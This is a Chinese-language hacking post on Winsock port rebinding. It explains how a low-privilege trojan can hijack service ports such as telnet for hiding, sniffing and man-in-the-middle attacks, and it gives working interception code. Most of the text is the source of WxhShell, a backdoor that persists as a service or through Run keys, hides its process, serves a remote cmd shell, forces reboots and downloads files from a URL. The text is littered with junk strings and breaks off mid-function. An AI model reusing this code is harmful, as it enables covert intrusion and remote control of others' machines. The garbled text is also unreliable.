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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /QTGZb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =\tg$ %6 Bt%H saddr.sin_family = AF_INET; Jyvc(~x TzVNZDQ`Jl saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[~ fJ/ I9_tD@s"( bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \ ddbqg?` fY\QI
= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ky,+xq \07
s'W U 这意味着什么?意味着可以进行如下的攻击: hb`(d_= 7F u"tv6Qp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [&6l=a JIDE]f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +.{_n(kU C%l~qf1n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Rom|Bqo; BB9Z?} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 HnrT;!C~ K" Y,K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /8lGP!z 8xlj:5;(w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?$9C[Kw` co#%~KqMu 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T5o9pmD R|`}z"4C #include #}l}1^$ #include #BF(#1: #include +Nyx2(g<m #include tPc '#. DWORD WINAPI ClientThread(LPVOID lpParam); q
f-1} int main() ,Epg&)wC] { I
91`~0L* WORD wVersionRequested; Qr$uFh/y DWORD ret; {V,rWg WSADATA wsaData; BHqJ~2&FDW BOOL val; U_Id6J]8 SOCKADDR_IN saddr; :43K)O" SOCKADDR_IN scaddr; jO3Z2/# int err; Q lql(* SOCKET s; >PfYHO SOCKET sc; -fn["R] int caddsize; :U^a0s%B HANDLE mt; 4>gkXfTF DWORD tid; XV]`? wVersionRequested = MAKEWORD( 2, 2 ); %.[t(F err = WSAStartup( wVersionRequested, &wsaData ); |{<g-) if ( err != 0 ) { qK#\k@E printf("error!WSAStartup failed!\n"); R2-OT5Ej return -1; =2#
C{u. } U5%EQc-"P saddr.sin_family = AF_INET; lhKd<Y" 9["yL{IPe //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :^%My]>T 0;
M+8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !Tr +: SM saddr.sin_port = htons(23); '
w!o!_T6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o0_RU<bWN { b>Iqk printf("error!socket failed!\n"); fo^M`a!va0 return -1; _z#zF[% } ;VNwx(1l` val = TRUE; W_ngB[ //SO_REUSEADDR选项就是可以实现端口重绑定的 ^;!A`t if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G/bWn@ { qJKD|=_ printf("error!setsockopt failed!\n"); -aXV}ZY" return -1; `fj(xrI } iO(9#rV //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Atzp\oO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dq[j.Nmq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;XRLp:y |U>BXX P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =AUR]&_B { 8(\Az5% ret=GetLastError(); [89#8|+ printf("error!bind failed!\n"); (Rve<n6{A return -1; ]@)X3}"! } z
~T[%RjO listen(s,2); s-J>(|
while(1) Z
~:S0HDP { Da0E) caddsize = sizeof(scaddr); ej]^VS7w[r //接受连接请求 !Z`~=n3bk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :OUNZDL if(sc!=INVALID_SOCKET) ;Z%ysLA { HBXp#$dPc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3 8m5&5)1F if(mt==NULL) w$u=_ { dc|"34;^" printf("Thread Creat Failed!\n"); T4F}MVK break; { %vX/Ek } ;lB%N
t<, } jxm.x[1ki^ CloseHandle(mt); (>%Ddj6_> } pJ ;J>7Gt closesocket(s); 5rr7lwWZ WSACleanup(); |)B&-~a+p return 0; &gw. &/t } *1$rg?yGf DWORD WINAPI ClientThread(LPVOID lpParam) )0
.gW { 6Y>MW 4q SOCKET ss = (SOCKET)lpParam; &&\ h%-Jc SOCKET sc; DvKM[z3j unsigned char buf[4096]; F<M#T SOCKADDR_IN saddr; ;$wS<zp6 long num; snK$? 9vh DWORD val; No=Ig-It
DWORD ret; \SHYwD}*Pr //如果是隐藏端口应用的话,可以在此处加一些判断
FVPhk 2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 3?|Fn8dQR. saddr.sin_family = AF_INET; &.y:QVR,! saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Xw(e@: saddr.sin_port = htons(23); rW0# 6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CS)&A4`8 { G|Yw
a= printf("error!socket failed!\n"); L= O,OS+ return -1; x}[/A;N } cpF\^[D val = 100; w}c1zpa if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I,(m\NalK { Ek~Qp9B ret = GetLastError(); 8 P.t return -1; ~}q"M[{ } _r0oOp E if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o3 P`y:& { E{[c8l2B ret = GetLastError(); +AhR7R! return -1; ^o+2:G5z} } \bw71( Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |\TOSaZ { P%z\^\p"5 printf("error!socket connect failed!\n"); bg[k8*.:F closesocket(sc); }{[H@uhjH closesocket(ss); `re]Q0IO return -1; 8>RGmue } OD-CU8X9 while(1) eS8tsI { $qYtN`b, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Tw/kD)u{ //如果是嗅探内容的话,可以再此处进行内容分析和记录 $v#Q'?jE //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .^>[@w3 num = recv(ss,buf,4096,0); .7++wo!, if(num>0) \:mx Ri send(sc,buf,num,0); BQ{Gp 2N else if(num==0)
LKieOgX break; m3C&QdjRp num = recv(sc,buf,4096,0); 'C)^hj. if(num>0) /6B!&b2f send(ss,buf,num,0); jhjGDF else if(num==0) v|t_kNX;v* break; -%*>z'|{ } M7^PWC closesocket(ss); 7Oe |:Z closesocket(sc); 3P 3x^NI return 0 ; 4j|]=58 } %Js3Y9AL C V|zzj[c z)xGZ*{= ========================================================== e;~[PYeu 5|f[evQj<S 下边附上一个代码,,WXhSHELL .",E}3zn 6[,*2a8 ========================================================== +6@".< RE Dh`Wd #include "stdafx.h" ]b4*`}\ EQ1wyKZS2g #include <stdio.h> XmXp0b7 #include <string.h> !yU!ta Q #include <windows.h> "P\k_-a' #include <winsock2.h> ZGK*]o=) #include <winsvc.h> P$S>=*`n
U #include <urlmon.h> \g< M\3f | V Ps5 #pragma comment (lib, "Ws2_32.lib") *i|O!h1St #pragma comment (lib, "urlmon.lib") 34_:.QK- KywDp 37^ #define MAX_USER 100 // 最大客户端连接数 +C1/02ZJ #define BUF_SOCK 200 // sock buffer u:tLO3VfJ #define KEY_BUFF 255 // 输入 buffer h~{TCK+I TV\21 #define REBOOT 0 // 重启 3$[!BPLFO #define SHUTDOWN 1 // 关机 b/cc\d < .9{Sr[P #define DEF_PORT 5000 // 监听端口 Q!(16 |_/q0#" #define REG_LEN 16 // 注册表键长度 KZUB{Y^) #define SVC_LEN 80 // NT服务名长度 sYM3&ikyHI #]<j.Fc` // 从dll定义API 0FD#9r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ax0RtqtR& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Em^qN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CM?dB$AwX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "- @{ ) *t.L` G // wxhshell配置信息 ku3Vr\s struct WSCFG { If>k~aL7I int ws_port; // 监听端口 O`1_eK~1< char ws_passstr[REG_LEN]; // 口令 8sjAr.iT. int ws_autoins; // 安装标记, 1=yes 0=no h'YC!hjp char ws_regname[REG_LEN]; // 注册表键名 V`qHNM/t char ws_svcname[REG_LEN]; // 服务名 PrqN5ND char ws_svcdisp[SVC_LEN]; // 服务显示名 &QFg= char ws_svcdesc[SVC_LEN]; // 服务描述信息 BC0SSR@e char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rl90uF]8 int ws_downexe; // 下载执行标记, 1=yes 0=no :"5'l>la char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Y5e6|b| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p'z
fo! 0)n#$d> }; Tl"GOpH\] |pxM8g1w // default Wxhshell configuration O& k+;r struct WSCFG wscfg={DEF_PORT, ={ P "xuhuanlingzhe", ,?g}->ZB 1, HLm6BtE "Wxhshell", ]FV,}EZ "Wxhshell", k)j,~JH "WxhShell Service", W@U<GF1 "Wrsky Windows CmdShell Service", w:%3]2c "Please Input Your Password: ", `%_ yRJd|; 1, e<o{3*%p) " http://www.wrsky.com/wxhshell.exe", +I1>;
{{ "Wxhshell.exe" VsEMF i= }; F;$z[z 7 -yf // 消息定义模块 +|(-7" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @9S3u#vP char *msg_ws_prompt="\n\r? for help\n\r#>"; =yo?] ZS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; M
^gva?{ char *msg_ws_ext="\n\rExit."; <Vucr char *msg_ws_end="\n\rQuit."; 6\"g,f char *msg_ws_boot="\n\rReboot..."; vt)u`/u char *msg_ws_poff="\n\rShutdown..."; ?/"Fwjau char *msg_ws_down="\n\rSave to "; _Bh-*e2k Za,rht char *msg_ws_err="\n\rErr!"; )fSO|4 char *msg_ws_ok="\n\rOK!"; S%J $.ge =_~bSEqyRI char ExeFile[MAX_PATH]; :uwB)G int nUser = 0; sk*AlSlM HANDLE handles[MAX_USER]; j6x1JM int OsIsNt;
/6)6 Yzo_ZvL SERVICE_STATUS serviceStatus; &ru2&Sz SERVICE_STATUS_HANDLE hServiceStatusHandle; 0
_4p>v: u.W}{-+kp // 函数声明 d +0(H
int Install(void); h# R;'9*V int Uninstall(void); x[XN;W& int DownloadFile(char *sURL, SOCKET wsh); JAPiR= int Boot(int flag); pxC:VJ; void HideProc(void); D|m]]B int GetOsVer(void); IJX75hE0g int Wxhshell(SOCKET wsl); e<F>u#d void TalkWithClient(void *cs); xZ2^lsY int CmdShell(SOCKET sock); 2^Y@e=^A int StartFromService(void); Op''=Ar#sh int StartWxhshell(LPSTR lpCmdLine); !<`}mE!: ~J #^L* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2|a@,TW}- VOID WINAPI NTServiceHandler( DWORD fdwControl ); @N^?I*|u q]PeS~PjF\ // 数据结构和表定义 ;yd[QT<I< SERVICE_TABLE_ENTRY DispatchTable[] = ynkPI6o { Wp5w}8g {wscfg.ws_svcname, NTServiceMain}, :yPA6O 4 {NULL, NULL} MZ9{*y[z }; U9N1)3/u dt -EY // 自我安装 c;RB!`9" int Install(void) ]<y _
=> { s
Yp?V\Y" char svExeFile[MAX_PATH]; Um4$. BKD HKEY key; 2RW^Nqc9 strcpy(svExeFile,ExeFile); Y"eR&d a3i;r M2 // 如果是win9x系统,修改注册表设为自启动 TF0DQP if(!OsIsNt) { 24)Sf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x !)[l; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t?bc$,S"\( RegCloseKey(key); \TchRSe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p~X=<JM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4i<V^go" RegCloseKey(key); ZAKNyA2 return 0; gW0{s[}T } ' pnkm0=` } >J!J: } W
PDL$y else { 8Xo`S<8VS `EFPY$9`D // 如果是NT以上系统,安装为系统服务 QtF'x<cB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y$tgz) if (schSCManager!=0) CuS"Wj { u+U '|6)E SC_HANDLE schService = CreateService .tFMa: ( +i %,+3#6 schSCManager, P:`tL)W_ wscfg.ws_svcname, HTpoYxn( wscfg.ws_svcdisp, ;c>Co:W SERVICE_ALL_ACCESS, \1 ^qfw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `#v(MK{9+V SERVICE_AUTO_START, HizMjJ| SERVICE_ERROR_NORMAL, ,F4_ps?( svExeFile, =%wwepz6 NULL, }Y{aVn&C NULL, L%3m_'6QP NULL, /Dh[lgF0C NULL, |G!P G6%1 NULL >icL,n"] ); bU(H2Fv if (schService!=0) !i"Z { |?a 4Nl?
CloseServiceHandle(schService); KINKq`Sx CloseServiceHandle(schSCManager); R^nkcLFb/q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hM":?Rx strcat(svExeFile,wscfg.ws_svcname); SI/@Bbd= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &n|S:"B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ao@"j}c RegCloseKey(key); M*& tVG return 0; 81(.{Y839_ } f]P&>j| } ]["=K!la: CloseServiceHandle(schSCManager); 3]*_*<D } )v4?+$g } ;k<n}shD `2 vv8cg^ return 1; . q=sC?D } EQ;,b4k?&g RsY7F; // 自我卸载
"F,d}3} int Uninstall(void) 3L;GfYr0 { ,+iREh; HKEY key; (l|:$%[0 >o#5tNm if(!OsIsNt) { uk8vecj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NlBnV RegDeleteValue(key,wscfg.ws_regname); LLa72HW RegCloseKey(key); eyx;8v cM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4h|48</ RegDeleteValue(key,wscfg.ws_regname); H;&^A5 RegCloseKey(key); ac/=%om8u return 0; ql|ksios } H*l2,0&W } Rf&~7h'+ } ^'UJ&UfX else { 3#d5.Ut {AJcYZV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hkSK; if (schSCManager!=0) SiD [54OM { Y#'?3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E(5'vr0 if (schService!=0) RJ#xq#l { zi^T?<t if(DeleteService(schService)!=0) { 7?@s.Sz|fV CloseServiceHandle(schService); C
*\
=Q CloseServiceHandle(schSCManager); '?q \mi return 0; 8s,B,s. } kWv)+ CloseServiceHandle(schService); 4t(V)1+ } g$++\%k& CloseServiceHandle(schSCManager); CS:"F) at } qusX]Tstz } -ejH%CT :R/szE*Ak return 1; $6BD6\@ } ryd*Ha">I =Q % F~ // 从指定url下载文件 Ms^U`P^V~P int DownloadFile(char *sURL, SOCKET wsh) <2cl1Fb { 8 |2QJ HRESULT hr; v&[Ff|> char seps[]= "/"; Up61Xn char *token; gm**9]k ^{ char *file; "=7y6bM char myURL[MAX_PATH]; UjNe0jt%s char myFILE[MAX_PATH]; <&n\)R4C1 +w~<2Kt8 strcpy(myURL,sURL); .xRJ )9q token=strtok(myURL,seps); aP}kl[W while(token!=NULL) YT)jBS~& { s~ZLnEb file=token; SxC token=strtok(NULL,seps); ar-N4+!@ } nLn3kMl4 58x=CN\QU GetCurrentDirectory(MAX_PATH,myFILE); ?a~59!u strcat(myFILE, "\\"); 3h:"-{MW. strcat(myFILE, file); |sf&t send(wsh,myFILE,strlen(myFILE),0); IMaa#8, send(wsh,"...",3,0); X.u&4SH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fa}3UVm if(hr==S_OK) sdk%~RN0T return 0; ]a4rA+NFLB else 7Y`/w$ return 1; )<_e{_h
Eiqx1ZM } .h!oo;@ RR,gC"cTi // 系统电源模块 B d#D*"gx int Boot(int flag) (;RmfE'PX { Gqe?CM HANDLE hToken; $a'n{EP TOKEN_PRIVILEGES tkp; 8UH
c,np $a^YJY^_ if(OsIsNt) { MHh>~Y(h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); } 0su[gy[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q)Qd+:a7{ tkp.PrivilegeCount = 1; ELh`|X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nE$8-*BZ_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TQXp9juK if(flag==REBOOT) { @'go?E)f if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ulY8$jB return 0; `zD]*i( } 6Vr:?TI7 else { N3J T[7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5u(,g1s}UZ return 0; `:=af[n } mMp( } xvx5@lx else { 2vb {PQ if(flag==REBOOT) { O[9>^y\, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dt)O60X3> return 0; FU;b8{Y } SSoD}N else { o75Hit if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0?x9.] return 0; }6U`/"RfcO } zk\YW'x|r } 5somoV B ,hMdxZJd return 1; 9j[lr${A } dfo_R w(>mP9Cb // win9x进程隐藏模块 33O O%rWi void HideProc(void) E=G"_
^hCE {
Zo=w8Hr O,$
?Pj6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bl/tl_.p00 if ( hKernel != NULL ) @m#1[n; { ;|C[.0;kgv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sbf+;:D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UEm~5,>$0 FreeLibrary(hKernel); xN^ngRg0 } ?^y!}( |j?iD return; Kx8> } mA{G:
d "pa}']7# // 获取操作系统版本 A.f!SYV6 int GetOsVer(void) ymNL`GYN[ { A>0wqT OSVERSIONINFO winfo; $w:7$:k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &:]ej6V'[ GetVersionEx(&winfo); =Gl6~lJ{_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WTlR>|Zdn return 1; **RW
9FU else bcVzl]9 return 0; #$W bYL| } \Z?.Po`!j at N%csA0 // 客户端句柄模块 kNqIPvuMr int Wxhshell(SOCKET wsl) $|0?$U7! { B#zu<z SOCKET wsh; be@\5
struct sockaddr_in client; \J)ffEKIp DWORD myID; A2C|YmHk }DCR(p rD while(nUser<MAX_USER) _^Ds[VAgA { F9N/_H*+ int nSize=sizeof(client); KNI* : wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Czj] t` if(wsh==INVALID_SOCKET) return 1; .aA8'/ 4>JDo,AWy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D&)w =qIu if(handles[nUser]==0) a>_Cxsb&` closesocket(wsh); =|Q7k +b else F:3*i^ L nUser++; 834E
]2 } ~|FKl% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K3CTxU( ?zS
t return 0; dg(fD>+ } Syf0dp3 TgDx3U[ // 关闭 socket /:<.Cn>- void CloseIt(SOCKET wsh) h2Kx { ~qjnV closesocket(wsh);
5O7x4bY nUser--; PkqOBU*|= ExitThread(0); W-72&\7 } BAJEn6f? *[ @k=!73 // 客户端请求句柄 N9|v%-_?) void TalkWithClient(void *cs) ``Yw-|&:Ae { ]>:LHW Za5bx,^ SOCKET wsh=(SOCKET)cs; o<pb!]1 char pwd[SVC_LEN]; G`Ix-dADJm char cmd[KEY_BUFF]; =7*k>]o char chr[1]; vWGjc2_ int i,j; MO1t0My c u lqh}Uv' while (nUser < MAX_USER) { SK>*tKY
Y[\ZN if(wscfg.ws_passstr) { {I]X-+D|_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e>GX]tK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _&]B //ZeroMemory(pwd,KEY_BUFF); PX5K-|R i=0; %wc=Mf while(i<SVC_LEN) { GfG!CG^% z }t{bm // 设置超时 F74^HQ*J fd_set FdRead; uyp|Xh, struct timeval TimeOut; &+K:pU?[$ FD_ZERO(&FdRead); ?6m6 4{M FD_SET(wsh,&FdRead); |q(
.j4[i TimeOut.tv_sec=8; [r)Hm/_=|U TimeOut.tv_usec=0; *8a8Ng int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H*h 7Y*([ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +OM9v3qJ jRhOo%p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cyQ&w>' pwd =chr[0]; 2$Fy?08q if(chr[0]==0xd || chr[0]==0xa) { <c X\|dM pwd=0; RKt#2%FFO break; byyzXRO; } 9q4%s?)j i++; O6P{+xj$ } oX;D|8f App9um3: // 如果是非法用户,关闭 socket e*zt;SR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X}Oo5SNgff } a$~pAy5C 7e`ylnP! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \dq}nOsX* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &'0|U{| NJe^5>4` while(1) { C
`>1x`n wcd1.$ n ZeroMemory(cmd,KEY_BUFF); 7M#irCX 5*n3*rbU: // 自动支持客户端 telnet标准 d=6FL" .o j=0; Oh|KbM*vS while(j<KEY_BUFF) { 1U/ dc.x5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $4&%<'l3I cmd[j]=chr[0];
OH* if(chr[0]==0xa || chr[0]==0xd) { ^O9_dP: cmd[j]=0; uxKj7!(# break; \'BA}v
&/ } BbV @ziL j++; Y
>83G`*}b } Ul/Uk n$ x9U(,x6r // 下载文件 S
6|#9C& if(strstr(cmd,"http://")) { &azy1.i~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^`MGlI} if(DownloadFile(cmd,wsh)) %+{[ %?xh send(wsh,msg_ws_err,strlen(msg_ws_err),0); mHY R? else *?-,=%,z/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4|]0%H~n6 } S]O0zv^} else { 5N_w(B k|SywATr switch(cmd[0]) { !
/^Jma7n $$tFP"pZ // 帮助 L2j7w006 case '?': { MKr)6PG, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ 1$p}x break; k-zkb2 } FD+y?UF // 安装 JSAbh\Mq6 case 'i': { sb3k? q if(Install()) I\,m6=q send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]nM 2J}7 else 1e'Ez4* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dYn<L/# break; .C=I~Z } b)e';M // 卸载 'Wv`^{y <^ case 'r': { gl$ Ks+od if(Uninstall()) &l0-0T> send(wsh,msg_ws_err,strlen(msg_ws_err),0); #j?SdQ else %^?yI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D J:N break; Jj:Bi&C } w~n7l97Pw // 显示 wxhshell 所在路径 l)m]<EX case 'p': { 6bacU#0o char svExeFile[MAX_PATH]; xyvG+K& strcpy(svExeFile,"\n\r"); t'.oty= strcat(svExeFile,ExeFile); NF0=t}e send(wsh,svExeFile,strlen(svExeFile),0); i"HENJyCb break; @'ln)RT, } yW!+:y_N_ // 重启 $UX^$gG case 'b': { D#pZN,' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KBO{g:" if(Boot(REBOOT)) =/6rX"\P send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4P(ysTuM else { [Dv6z t> closesocket(wsh); [/Figr] ExitThread(0); f]*_]J/ } p ^(gXzW break; ^-|yF2>` } 2!y %nkO* // 关机 -y+u0,=p. case 'd': { |fd}B5!c send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )HFl 0[vT if(Boot(SHUTDOWN)) .0eHP send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\:ZH[j else { YdT-E closesocket(wsh); qOi3`6LCV ExitThread(0);
x|6#
/m } >d{O1by=d9 break; R06zca } LM~,`#3Ru // 获取shell :6
\?{xD case 's': { U_/<tWl\[3 CmdShell(wsh); sY#iGEf closesocket(wsh); #3L=\j[
y ExitThread(0); G3.MS7J break; 02EbmP } %L^S;v3 // 退出 3XeCaq'N case 'x': { 6kc/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f7Dx.- CloseIt(wsh); o3mxtE] break; !{L6
4qI } ;h
}^f- // 离开 6J\Yi)v< case 'q': { d_5wMK6O6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); =}G `i** closesocket(wsh); E7*z.3 WSACleanup(); 1Xv- e8M exit(1); @+S5"W break; &>!WhC16 } :h|nV
~ } 6
s+ Z } L'>t:^QTh k?Bc^7l: // 提示信息 ?2g\y@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &
q(D90w. } !u}} V } fy|Ae Tn# >"Ag return; O*<,lq 0K } ^c9~~m16+ z]NN ^pIa // shell模块句柄 n{~Ws^d int CmdShell(SOCKET sock) CVi3nS5Yl { @jE<V=? STARTUPINFO si; qYMTud[Vf ZeroMemory(&si,sizeof(si)); |!\(eLR9> si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JvHGu&Nr! si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8bB'[gJ]{ PROCESS_INFORMATION ProcessInfo; ZW}0{8Dk
char cmdline[]="cmd"; ?hu$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]<0|"NL return 0; S*o%#ZJN } hr8v O"tZN pvJsSX // 自身启动模式 /^E2BRI int StartFromService(void) \h%/Cp+p { W*hRYgaX3 typedef struct Y%UfwbX!g { =$B:i>z< DWORD ExitStatus; +G3&{#D
? DWORD PebBaseAddress; [Ng#/QXk{ DWORD AffinityMask; rZDmZm?= DWORD BasePriority; (8<U+)[tPy ULONG UniqueProcessId; +_8*;k@F' ULONG InheritedFromUniqueProcessId;
Tsez&R$k } PROCESS_BASIC_INFORMATION; @l0#C5(: vZM.gn PROCNTQSIP NtQueryInformationProcess; :N~1fvx ,y[wS5li static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9L}=xX`>? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]@W.5!5H 6xs_@Vk|d HANDLE hProcess; r/E;tm[\ PROCESS_BASIC_INFORMATION pbi; JkazB1h s%nx8" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M@rknq@ if(NULL == hInst ) return 0; :XK.A
